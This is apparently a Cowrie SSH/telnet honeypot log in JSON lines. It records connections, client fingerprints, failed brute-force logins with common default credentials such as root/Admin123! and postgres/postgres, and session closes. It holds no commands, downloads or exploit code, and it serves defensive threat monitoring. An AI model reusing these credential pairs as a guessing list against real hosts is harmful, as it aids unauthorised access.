{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":48816,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f28431749fc","protocol":"ssh","message":"New connection: 103.75.183.219:48816 (10.17.0.5:22) [session: 2f28431749fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:52.758177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:52.763124Z","src_ip":"103.75.183.219","session":"2f28431749fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:53.007337Z","src_ip":"103.75.183.219","session":"2f28431749fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321123","message":"login attempt [root/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:53.739441Z","src_ip":"103.75.183.219","session":"2f28431749fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55518,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f0ea10918a","protocol":"ssh","message":"New connection: 192.109.200.237:55518 (159.203.135.109:22) [session: 90f0ea10918a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:53.985302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:53.990038Z","src_ip":"192.109.200.237","session":"90f0ea10918a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:54.072431Z","src_ip":"192.109.200.237","session":"90f0ea10918a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:54.320375Z","src_ip":"192.109.200.237","session":"90f0ea10918a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:54.986272Z","src_ip":"103.75.183.219","session":"2f28431749fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:55.687174Z","src_ip":"192.109.200.237","session":"90f0ea10918a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55534,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2e751250e9f","protocol":"ssh","message":"New connection: 192.109.200.237:55534 (159.203.135.109:22) [session: f2e751250e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:57.090830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:57.095360Z","src_ip":"192.109.200.237","session":"f2e751250e9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:57.177337Z","src_ip":"192.109.200.237","session":"f2e751250e9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:57.423486Z","src_ip":"192.109.200.237","session":"f2e751250e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:58.507957Z","src_ip":"192.109.200.237","session":"f2e751250e9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46926,"dst_ip":"159.203.135.109","dst_port":22,"session":"83bf8f2d108f","protocol":"ssh","message":"New connection: 192.109.200.237:46926 (159.203.135.109:22) [session: 83bf8f2d108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:00.182382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:00.187529Z","src_ip":"192.109.200.237","session":"83bf8f2d108f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:00.305985Z","src_ip":"192.109.200.237","session":"83bf8f2d108f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:00.675245Z","src_ip":"192.109.200.237","session":"83bf8f2d108f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:01.760667Z","src_ip":"192.109.200.237","session":"83bf8f2d108f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46930,"dst_ip":"159.203.135.109","dst_port":22,"session":"715160520c5d","protocol":"ssh","message":"New connection: 192.109.200.237:46930 (159.203.135.109:22) [session: 715160520c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:03.631966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:03.637086Z","src_ip":"192.109.200.237","session":"715160520c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:03.719495Z","src_ip":"192.109.200.237","session":"715160520c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:03.967766Z","src_ip":"192.109.200.237","session":"715160520c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:05.056818Z","src_ip":"192.109.200.237","session":"715160520c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce906af1173","protocol":"ssh","message":"New connection: 192.109.200.237:46938 (159.203.135.109:22) [session: 8ce906af1173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:06.828924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:06.833819Z","src_ip":"192.109.200.237","session":"8ce906af1173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d84fcf7a13","protocol":"telnet","message":"New connection: 192.119.13.58:32826 (10.17.0.5:23) [session: a4d84fcf7a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:06.842681Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:06.916905Z","src_ip":"192.109.200.237","session":"8ce906af1173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:07.164587Z","src_ip":"192.109.200.237","session":"8ce906af1173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:08.249745Z","src_ip":"192.109.200.237","session":"8ce906af1173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46950,"dst_ip":"159.203.135.109","dst_port":22,"session":"b784ce92cb8b","protocol":"ssh","message":"New connection: 192.109.200.237:46950 (159.203.135.109:22) [session: b784ce92cb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:09.943852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:09.948309Z","src_ip":"192.109.200.237","session":"b784ce92cb8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:10.030136Z","src_ip":"192.109.200.237","session":"b784ce92cb8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:10.278600Z","src_ip":"192.109.200.237","session":"b784ce92cb8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:11.363143Z","src_ip":"192.109.200.237","session":"b784ce92cb8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38242,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc20144f7bbd","protocol":"ssh","message":"New connection: 192.109.200.237:38242 (159.203.135.109:22) [session: fc20144f7bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:13.008169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:13.014041Z","src_ip":"192.109.200.237","session":"fc20144f7bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:13.104917Z","src_ip":"192.109.200.237","session":"fc20144f7bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:13.424672Z","src_ip":"192.109.200.237","session":"fc20144f7bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:14.510181Z","src_ip":"192.109.200.237","session":"fc20144f7bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e12db47431","protocol":"ssh","message":"New connection: 192.109.200.237:38256 (159.203.135.109:22) [session: 63e12db47431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:16.106160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:16.171118Z","src_ip":"192.109.200.237","session":"63e12db47431","protocol":"ssh"}
